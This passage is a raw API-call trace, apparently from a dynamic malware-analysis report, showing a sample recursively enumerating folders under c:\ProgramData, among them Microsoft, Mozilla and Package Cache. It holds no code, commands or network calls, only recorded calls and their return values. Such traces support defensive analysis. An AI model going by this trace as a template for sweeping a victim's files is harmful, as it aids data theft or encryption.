lpString1="c:\\ProgramData\\Microsoft\\Windows\\*") returned="c:\\ProgramData\\Microsoft\\Windows\\*" [0040.209] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.209] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.209] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.209] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.209] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.209] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.209] lstrcmpW (lpString1="AIT", lpString2=".") returned 1 [0040.209] lstrcmpW (lpString1="AIT", lpString2="..") returned 1 [0040.209] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.209] lstrlenW (lpString="AIT") returned 3 [0040.209] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="AIT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\AIT") returned="c:\\ProgramData\\Microsoft\\Windows\\AIT" [0040.209] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.209] lstrcmpW (lpString1="Caches", lpString2=".") returned 1 [0040.209] lstrcmpW (lpString1="Caches", lpString2="..") returned 1 [0040.209] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="Caches") returned 6 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Caches" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Caches") returned="c:\\ProgramData\\Microsoft\\Windows\\Caches" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="DeviceMetadataStore", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="DeviceMetadataStore", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="DeviceMetadataStore") returned 19 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DeviceMetadataStore" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="DRM") returned 3 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DRM") returned="c:\\ProgramData\\Microsoft\\Windows\\DRM" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="GameExplorer", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="GameExplorer", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="GameExplorer") returned 12 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="GameExplorer" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="Power Efficiency Diagnostics") returned 28 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Power Efficiency Diagnostics" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="Ringtones", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="Ringtones", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="Ringtones") returned 9 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Ringtones" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="c:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="Sqm", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="Sqm", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="Sqm") returned 3 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Sqm" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="c:\\ProgramData\\Microsoft\\Windows\\Sqm" [0040.210] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.210] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0040.210] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0040.210] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.210] lstrlenW (lpString="Start Menu") returned 10 [0040.210] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="c:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0040.211] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.211] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0040.211] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.211] lstrlenW (lpString="Templates") returned 9 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Templates") returned="c:\\ProgramData\\Microsoft\\Windows\\Templates" [0040.211] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.211] lstrcmpW (lpString1="WER", lpString2=".") returned 1 [0040.211] lstrcmpW (lpString1="WER", lpString2="..") returned 1 [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0040.211] lstrlenW (lpString="WER") returned 3 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="WER" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\WER") returned="c:\\ProgramData\\Microsoft\\Windows\\WER" [0040.211] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.211] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.211] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.211] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0040.211] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.211] lstrlenW (lpString="Windows Defender") returned 16 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows Defender" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender") returned="c:\\ProgramData\\Microsoft\\Windows Defender" [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\" [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned 42 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\*") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\*" [0040.211] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0xffffffff [0040.211] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.211] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0040.211] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.211] lstrlenW (lpString="Windows NT") returned 10 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows NT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT") returned="c:\\ProgramData\\Microsoft\\Windows NT" [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\") returned="c:\\ProgramData\\Microsoft\\Windows NT\\" [0040.211] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0040.211] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\*") returned="c:\\ProgramData\\Microsoft\\Windows NT\\*" [0040.211] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.211] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.212] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.212] lstrcmpW (lpString1="MSFax", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="MSFax", lpString2="..") returned 1 [0040.212] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0040.212] lstrlenW (lpString="MSFax") returned 5 [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSFax" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.212] lstrcmpW (lpString1="MSScan", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="MSScan", lpString2="..") returned 1 [0040.212] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0040.212] lstrlenW (lpString="MSScan") returned 6 [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSScan" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.212] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.212] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.212] lstrcmpW (lpString1="WwanSvc", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="WwanSvc", lpString2="..") returned 1 [0040.212] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.212] lstrlenW (lpString="WwanSvc") returned 7 [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="WwanSvc" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc") returned="c:\\ProgramData\\Microsoft\\WwanSvc" [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\" [0040.212] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\*" [0040.212] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.212] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.212] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.212] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0040.212] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0040.212] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0040.212] lstrlenW (lpString="Profiles") returned 8 [0040.212] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="Profiles" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0040.212] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.212] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.212] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.212] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.212] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.213] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0040.213] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0040.213] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.213] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive") returned="c:\\ProgramData\\Microsoft OneDrive" [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\") returned="c:\\ProgramData\\Microsoft OneDrive\\" [0040.213] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\*" [0040.213] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.213] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.213] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.213] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.213] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.213] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.213] lstrcmpW (lpString1="setup", lpString2=".") returned 1 [0040.213] lstrcmpW (lpString1="setup", lpString2="..") returned 1 [0040.213] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0040.213] lstrlenW (lpString="setup") returned 5 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="setup" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup") returned="c:\\ProgramData\\Microsoft OneDrive\\setup" [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\" [0040.213] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned 40 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\*" [0040.213] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.213] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.213] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.213] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.213] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.213] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.213] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.213] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.213] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.213] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.213] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0040.213] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0040.213] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.213] lstrlenW (lpString="Mozilla") returned 7 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Mozilla" | out: lpString1="c:\\ProgramData\\Mozilla") returned="c:\\ProgramData\\Mozilla" [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\") returned="c:\\ProgramData\\Mozilla\\" [0040.213] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0040.213] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\*") returned="c:\\ProgramData\\Mozilla\\*" [0040.213] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.214] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.214] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.214] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.214] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.214] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.214] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0040.214] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0040.214] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0040.214] lstrlenW (lpString="logs") returned 4 [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Mozilla\\logs") returned="c:\\ProgramData\\Mozilla\\logs" [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\") returned="c:\\ProgramData\\Mozilla\\logs\\" [0040.214] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\*") returned="c:\\ProgramData\\Mozilla\\logs\\*" [0040.214] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.214] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.214] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.214] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.214] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.214] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.214] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1 [0040.214] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1 [0040.214] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0040.214] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0040.214] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 58 [0040.214] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.214] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.214] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.214] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.214] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.214] lstrcmpW (lpString1="Oracle", lpString2=".") returned 1 [0040.214] lstrcmpW (lpString1="Oracle", lpString2="..") returned 1 [0040.214] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.214] lstrlenW (lpString="Oracle") returned 6 [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Oracle" | out: lpString1="c:\\ProgramData\\Oracle") returned="c:\\ProgramData\\Oracle" [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle", lpString2="\\" | out: lpString1="c:\\ProgramData\\Oracle\\") returned="c:\\ProgramData\\Oracle\\" [0040.214] lstrlenW (lpString="c:\\ProgramData\\Oracle\\") returned 22 [0040.214] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Oracle\\*") returned="c:\\ProgramData\\Oracle\\*" [0040.214] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Oracle\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.215] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.215] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.215] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.215] lstrcmpW (lpString1="Package Cache", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="Package Cache", lpString2="..") returned 1 [0040.215] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.215] lstrlenW (lpString="Package Cache") returned 13 [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Package Cache" | out: lpString1="c:\\ProgramData\\Package Cache") returned="c:\\ProgramData\\Package Cache" [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\") returned="c:\\ProgramData\\Package Cache\\" [0040.215] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\*") returned="c:\\ProgramData\\Package Cache\\*" [0040.215] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.215] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.215] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0040.215] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0040.215] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.215] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49 [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0040.215] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0040.215] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0040.215] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.215] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.215] FindNextFileW (in: hFindFile=0x775d58, 